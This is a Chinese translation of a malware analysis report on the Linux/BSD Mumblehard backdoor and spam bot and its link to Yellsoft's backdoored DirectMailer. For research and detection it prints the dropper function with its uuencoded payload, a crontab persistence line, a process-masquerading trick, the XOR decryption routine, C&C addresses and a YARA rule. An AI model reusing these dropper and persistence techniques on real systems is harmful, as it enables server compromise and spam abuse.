深度分析惡意軟件Mumblehard
0x00 簡(jiǎn)介
我們發(fā)現(xiàn)Linux/ Mumblehard的原因來(lái)自于某天某網(wǎng)管聯(lián)系我們,他的服務(wù)器因?yàn)椴粩喟l(fā)送垃圾郵件被列入了黑名單。我們dump了服務(wù)器上其中一個(gè)奇怪進(jìn)程的內(nèi)存,這玩意連接到了一個(gè)不同的SMTP服務(wù)器,并發(fā)送垃圾郵件。dump下來(lái)的內(nèi)存顯示這玩意是一個(gè),唔,perl解釋器,隨之我們?cè)?tmp目錄發(fā)現(xiàn)了一個(gè)相關(guān)的可執(zhí)行文件,并且立即開(kāi)始著手分析,為了方便我們給這玩意起名Mumblehard。
說(shuō)實(shí)話我們對(duì)這玩意產(chǎn)生了極大的興趣,因?yàn)樵趷阂廛浖?,perl腳本被封裝在ELF可執(zhí)行文件中是很少見(jiàn)的,至少這玩意比起其他來(lái)說(shuō)要更加復(fù)雜一些。另外一點(diǎn)是我們發(fā)現(xiàn)這款?lèi)阂廛浖c一家叫Yellsoft的軟件公司存在很大的聯(lián)系,而第一個(gè)被發(fā)現(xiàn)的樣本在09年提交到VirusTotal。
Figure 1. Wayback Machine上顯示的Yellsoft主頁(yè)
我們對(duì)所發(fā)現(xiàn)已經(jīng)確認(rèn)遭到感染的系統(tǒng)進(jìn)行了調(diào)查,確認(rèn)了兩種可能的傳播方式,最常見(jiàn)的利用Joomla和Wordpress的exp進(jìn)行傳播,另外一種是通過(guò)分布式的后門(mén),Yellsoft在他們主頁(yè)上銷(xiāo)售一種叫DirectMailer的軟件,240美刀,其中裝有特殊的后門(mén)。
這篇paper描述了惡意軟件中的組件的分析,以及我們對(duì)受害者的統(tǒng)計(jì)調(diào)查,還有那家神秘的Yellsoft。
0x01 惡意軟件分析
我們分析了兩種不同的惡意軟件組件,第一個(gè)是一個(gè)通用的后門(mén),向C&C服務(wù)器請(qǐng)求一個(gè)命令,該命令包含一個(gè)網(wǎng)址,然后通過(guò)這個(gè)網(wǎng)址下載惡意文件并且執(zhí)行,第二個(gè)是一種多功能的垃圾郵件發(fā)送器的程序。這兩個(gè)組件都使用perl進(jìn)行編寫(xiě),然后使用一個(gè)匯編寫(xiě)的特殊加殼器進(jìn)行混淆,最終隱藏到一個(gè)ELF格式的二進(jìn)制文件中。
下面的圖顯示了惡意軟件和C&C服務(wù)器之間的關(guān)系。
Figure 2. Linux/Mumblehard的交互
下面我們會(huì)先解析加殼器的細(xì)節(jié),然后在描述后門(mén)和郵件發(fā)送器的功能。
1.1 ELF二進(jìn)制中的perl殼
最初引起我們興趣的是惡意軟件的加殼器,簡(jiǎn)單看看反匯編代碼,我們可以很明顯的看出,加殼器是直接使用匯編進(jìn)行編寫(xiě),整個(gè)加殼大約使用了200個(gè)匯編指令。這個(gè)觀察來(lái)源于兩個(gè)點(diǎn),一個(gè)是他們直接使用int 80指令進(jìn)行系統(tǒng)中斷,另一個(gè)是它們并不適用常見(jiàn)的方式進(jìn)行堆棧管理。
通過(guò)其系統(tǒng)調(diào)用的方式,可執(zhí)行文件可以避免任何的外部依賴,同時(shí),加殼器被確認(rèn)適用于linux和bsd系統(tǒng)。因?yàn)橄到y(tǒng)進(jìn)行了系統(tǒng)調(diào)用13,并傳入了參數(shù)0,該系統(tǒng)調(diào)用對(duì)應(yīng)到linux的時(shí)間,和BSD的標(biāo)準(zhǔn)輸入。在BSD上該調(diào)用失敗后會(huì)返回一個(gè)負(fù)數(shù)到eax上,而linux上會(huì)返回一個(gè)正數(shù)表示從1970年到今天過(guò)了幾秒。
Figure 3. system call 13
之后會(huì)fork()一個(gè)perl解釋器("/usr/bin/perl", ...)然后通過(guò)標(biāo)準(zhǔn)輸入將perl腳本發(fā)送給進(jìn)程。并且使用系統(tǒng)調(diào)用pipe和dup2來(lái)處理文件描述符。這一來(lái)父進(jìn)程就可以將解密后的perl腳本寫(xiě)入解釋器。#p#
1.2 perl后門(mén)
后門(mén)實(shí)際上只有一個(gè)簡(jiǎn)單的任務(wù),就是從C&C服務(wù)器上請(qǐng)求一條命令,并且返回其是否成功。不過(guò)后門(mén)并不會(huì)使用daemonize來(lái)進(jìn)行進(jìn)程守護(hù),他直接使用crontab來(lái)每15分鐘執(zhí)行一次。
- $ crontab -l
- */15 * * * * /var/tmp/qCVwOWA >/dev/null 2>&1
并且還通過(guò)分配$0來(lái)將自己偽裝成httpd。
- $0 = "httpd";
每次運(yùn)行,后門(mén)都會(huì)向列表中的后門(mén)發(fā)送一條查詢請(qǐng)求命令,就算某臺(tái)已經(jīng)返回過(guò)有效的命令。
綜合來(lái)說(shuō)該后門(mén)只支持一條命令:0x10下載并執(zhí)行。我們分析了手頭的樣本整理出了下面這樣的list,事實(shí)上,只有ip:194.54.81.163返回過(guò)命令,其他應(yīng)該都是掛掉了,比如,域名behance.net 在2005年被adobe收購(gòu)。
• 184.106.208.157 • 194.54.81.163 • advseedpromoan.com • 50.28.24.79 • 67.221.183.105 • seoratingonlyup.net • advertise.com • 195.242.70.4 • pratioupstudios.org • behance.net
1.2.1 C&C通信
Mumblehard使用http的get對(duì)每臺(tái)C&C服務(wù)器發(fā)送請(qǐng)求,將返回的命令隱藏在http響應(yīng)頭的Set-Cookie中,來(lái)逃避一些數(shù)據(jù)包的檢測(cè)。
一個(gè)請(qǐng)求的例子
123456789HTTP/1.0 200 OK
- HTTP/1.0 200 OK
- Date: Sat, 14 Feb 2015 23:01:57 GMT
- Server: Apache/1.3.41 (Unix)
- Set-Cookie: PHPSESSID=260518103c38332d35373729393e39253e3c3b207f66736577722861646b6c
- 697e217c647066603a7f66706363606f61; path=/
- Content-Length: 18
- Connection: close
- Content-Type: text/html
- under construction
PHPSESSID cookie值進(jìn)行了hex進(jìn)行編碼,并且通過(guò)自定義的算法進(jìn)行加密,該加密算法與加殼器中用來(lái)加密perl腳本的算法是相同的.
Figure 4. 用匯編寫(xiě)的加密算法
perl版加密
- sub xorl {
- my ($line, $code, $xor, $lim) = (shift, "", 1, 16);
- foreach my $chr (split (//, $line)) {
- if ($xor == $lim) {
- $lim = 0 if $lim == 256;
- $lim += 16;
- $xor = 1;
- }
- $code .= pack ("C", unpack ("C", $chr) ^ $xor);
- $xor ++;
- }
- return $code;
- }
一旦解密,下面的信息回從cookie中提取出來(lái)。


這里有一個(gè)解密后的信息的例子。

Mumblehard后門(mén)的user-agent
Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
該user-agent被驗(yàn)證與windows7上Firefox 7.0.1的user-agent相同。不過(guò)在下載完成后,惡意軟件會(huì)向服務(wù)器發(fā)送請(qǐng)求報(bào)告是否下載了文件,該信息隱藏在user-agent中,格式大概是下面這個(gè)樣子
Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/. . Firefox/7.0.1
一個(gè)實(shí)際的例子
Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/24.200.56013 Firefox/7.0.1
#p#
1.3 perl惡意郵件發(fā)送器
該惡意軟件發(fā)送器也是perl寫(xiě)的,并且加殼后嵌入elf可執(zhí)行文件,目的在于向C&C請(qǐng)求任務(wù),并且發(fā)送惡意郵件,Mumblehard支持大部分一個(gè)惡意郵件發(fā)送器會(huì)有的功能,模板,報(bào)表,SMTP執(zhí)行等,我們會(huì)將接下來(lái)的內(nèi)容限制在其中的一些獨(dú)特的功能和網(wǎng)絡(luò)協(xié)議等。
perl本身是兼容多個(gè)操作系統(tǒng)的,所以我們認(rèn)為該惡意軟件是針對(duì)多個(gè)類(lèi)型的操作系統(tǒng)為目標(biāo),不過(guò)其中的EWOULDBLOCK和EINPROGRESS常量是不可移植的,盡管如此,該惡意軟件的常量還是可以兼容Linux, FreeBSD and Windows。目前我們抓到的樣本是無(wú)法在windows上運(yùn)行的,不過(guò)也可能表示針對(duì)windows平臺(tái)他們開(kāi)發(fā)了不同類(lèi)型的加殼器。
其中的perl
- if ( $^O eq "linux" ) { $ewblock = 11; $eiprogr = 115; }
- if ( $^O eq "freebsd" ) { $ewblock = 35; $eiprogr = 36; }
- if ( $^O eq "MSWin32" ) { $ewblock = 10035; $eiprogr = 10036; }
這玩意有兩種方式發(fā)送惡意郵件,一種是請(qǐng)求C&C服務(wù)器上的一個(gè)任務(wù),第二種是開(kāi)啟一個(gè)代理。
1.3.1 C&C通信
C&C服務(wù)器運(yùn)行在端口25上,惡意郵件發(fā)送器可以通過(guò)post請(qǐng)求發(fā)送二進(jìn)制數(shù)據(jù),內(nèi)容如下表

不過(guò)這些數(shù)據(jù)似乎只在一種情況下會(huì)被使用,比如統(tǒng)計(jì)有多少服務(wù)器在發(fā)郵件啥的。它存在4個(gè)32位的整數(shù)頭。
任務(wù)的表示符
成功的郵件數(shù)目
網(wǎng)絡(luò)問(wèn)題失敗的郵件數(shù)目
被SMTP服務(wù)器拒絕的郵件數(shù)目
惡意主機(jī)還可以自定義發(fā)送報(bào)告的詳細(xì)程度,其中有三個(gè)級(jí)別,最低的一級(jí)只有數(shù)字,中級(jí)包括電子郵件地址,最高一級(jí)包括成功或者失敗的原因。最初的請(qǐng)求,服務(wù)器會(huì)返回一個(gè)200的響應(yīng),包含設(shè)置,電子郵件列表,和垃圾郵件模版。



1.3.2 代理功能的特點(diǎn)
我們分析的大多數(shù)的樣本中都包含一個(gè)通用的代理組件,工作原理很簡(jiǎn)單,監(jiān)聽(tīng)tcp端口的連接,并且發(fā)送通知,只有c&c服務(wù)器的連接允許連接到該端口,但是內(nèi)部有一個(gè)list,可以自定義添加允許的連接。不過(guò)其實(shí)只有兩條命令會(huì)被代理組件識(shí)別。
添加ip地址到允許列表
創(chuàng)建一個(gè)新的tcp隧道
下面是用作參考的協(xié)議內(nèi)容

在創(chuàng)建連接時(shí)候?qū)嶋H上使用的是通過(guò)SOCKS4協(xié)議進(jìn)行實(shí)現(xiàn),這個(gè)功能允許黑客傳輸任意的流量到服務(wù)器,不過(guò)蛋疼的是我們并沒(méi)有見(jiàn)該功能使用過(guò),所以并無(wú)法斷定是用于什么。#p#
1.3.3 惡意郵件內(nèi)容
我們跟蹤了大量的惡意郵件,發(fā)現(xiàn)主要是用于推廣一些藥物產(chǎn)品,并且還有產(chǎn)品官方的鏈接,這里是其中一個(gè)例子。

該惡意郵件的鏈接販賣(mài)解決性功能障礙的藥物的網(wǎng)站。

具體網(wǎng)站為加拿大的spamtrackers.eu ,不過(guò)其消息頭貌似是使用隨機(jī)的詞。
Million-Explosively-Arrogance: B77FE821EAB1 Copes-Horribly: 881976c526e6 Formants-Carmichael-Cutlet: consistency Interoffice-Gastronome-Unmodified: d41f7ebe89a
目前還不知道將其添加到反垃圾郵件簽名是否有效果,不過(guò)我們認(rèn)為是有的。
0x02 被感染主機(jī)的統(tǒng)計(jì)
其中惡意服務(wù)器支持的C&C域名其中一部分已經(jīng)失效,所以我們購(gòu)買(mǎi)了其中的域名來(lái)監(jiān)控受到感染的服務(wù)器,我們使用了惡意軟件中用到的特殊的user-agent來(lái)進(jìn)行監(jiān)控。
下面是我們收集的2014年9月19日到2015年4月22日的數(shù)據(jù),大概存在8,867個(gè)ip進(jìn)行連接,其中大部分是用于網(wǎng)站托管的服務(wù)器。

(此處省略部分關(guān)于統(tǒng)計(jì)的細(xì)節(jié))
0x03 WHO IS YELLSOFT?
樣本中的C&C服務(wù)器的ip范圍位于 194.54.81.162 到194.54.81.164
194.54.81.162:53 Hardcoded DNS server in Mumblehard’s spammer 194.54.81.163:54321 Report from Mumblehard’s proxy is open 194.54.81.163:25 C&C server for Mumblehard’s spammer 194.54.81.164:25 C&C server for Mumblehard’s spammer
如果你檢查下面的兩個(gè)ip,你會(huì)發(fā)現(xiàn)他們都是194.54.81.165和194.54.81.166的名稱(chēng)服務(wù)器,其中yellsoft.net web服務(wù)器托管 在194.54.81.166,其中162到166的ip的ns和soa都是相同的,這可以表明,這5個(gè)ip都是托管在同一臺(tái)服務(wù)器上。
- $ dig +short -x 194.54.81 SOA | uniq -c
- 1 ns1.rx-name.net. hostmaster.81.54.194.in-addr.arpa. 2015031209 28800 7200 604800 86400
- $ for i in 2 3 4 5 6; do dig +short -x 194.54.81 SOA @194.54.81.16$i; done | uniq -c
- 5 ns1.yellsoft.net. support.yellsoft.net. 2013051501 600 300 604800 600
那么Yellsoft是干嘛的,他們銷(xiāo)售一種perl編寫(xiě)的批量郵件發(fā)送工具,叫DirectMailer。運(yùn)行在UNIX系統(tǒng)上。

3.1 DirectMailer分析
其主頁(yè)上告訴訪客,他們不提供直接下載,下載地址被托管在narod.ru上,我們可以從上面得到副本。在2014年我們下載了一個(gè)叫 directmailer-retail.zip 的壓縮包,之后ESET講其識(shí)別為惡意軟件后,該軟件就不再被放置于softexp.narod.ru上。
zip包含一個(gè)dm.pl 文件,不過(guò)其為elf可執(zhí)行文件,打包了各種perl腳本。在主程序啟動(dòng)之前,程序會(huì)調(diào)用一個(gè)bdrp的函數(shù),該函數(shù)有一個(gè)uuencoded編碼的blob,解碼運(yùn)行后會(huì)生成另一個(gè)ELF可執(zhí)行文件,包含一個(gè)加殼后的perl腳本,它會(huì)被寫(xiě)入文件系統(tǒng)和cron 15分鐘運(yùn)行一次。很熟悉是不?
bdrp函數(shù)
- sub bdrp {
- my $bdrp = <<'BDRPDATA';
- M?T5,1@$!`0D```````````(``P`!````3(`$""P``````````````#0`(``!
- M``````````"`!`@`@`0("1H``!X>```'`````!```(DE"9H$"+@-````,=M3
- ...
- M)S5I=6=\9&(Z-WQT>'-T?#,@/'YR<%-$`@=,1$A#1$P1"U$-7$I$1$!=#Q5+
- %%T491S$`
- BDRPDATA
- $bdrp = unpack( "u*", $bdrp );
- foreach my $bdrpp ( "/var/tmp", "/tmp" ) {
- # Delete all executable files in temporary directory
- # (delete existing Mumblehard installation)
- for (<$bdrpp/*>) { unlink $_ if ( -f $_ && ( -x $_ || -X $_ ) ); }
- # Create random file name
- my $bdrpn = [ "a" .. "z", "A" .. "Z" ];
- $bdrpn = join( "",
- @$bdrpn[ map { rand @$bdrpn } ( 1 .. ( 6 + int rand 5 ) ) ] );
- my $bdrpb = "$bdrpp/$bdrpn";
- my $bdrpc = $bdrpb . int rand 9;
- # crontab job to add (runs every 15 minutes)
- my $bdrpt = "*/15 * * * * $bdrpb >/dev/null 2>&1\n";
- if ( open( B, ">", $bdrpb ) ) {
- # Drop file and install job with crontab
- [...]
- }
- }
- }
0x04 結(jié)論
惡意軟件正在變的越來(lái)越復(fù)雜,另一個(gè)令人擔(dān)憂的是Mumblehard的運(yùn)營(yíng)這么多年一直沒(méi)中斷過(guò)。
附錄A
UDP packets to
• 194.54.81.162 port 53
TCP connections to
• 194.54.81.163 port 80 (backdoor) • 194.54.81.163 port 54321 (proxy) • 194.54.81.163 port 25 (spammer) • 194.54.81.164 port 25 (spammer)
HTTP requests with the following User-Agent pattern
• Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/<1 or more digits>. <1 ormore digits>.<1 or more digits> Firefox/7.0.1
yara rule
- rule mumblehard_packer
- {
- meta:
- description = "Mumblehard i386 assembly code responsible for decrypting Perl
- code"
- author = "Marc-Etienne M.Léveillé"
- date = "2015-04-07"
- reference = "http://www.welivesecurity.com"
- version = "1"
- strings:
- $decrypt = { 31 db [1-10] ba ?? 00 00 00 [0-6] (56 5f | 89 F7)
- 39 d3 75 13 81 fa ?? 00 00 00 75 02 31 d2 81 c2 ?? 00 00
- 00 31 db 43 ac 30 d8 aa 43 e2 e2 }
- condition:
- $decrypt
- }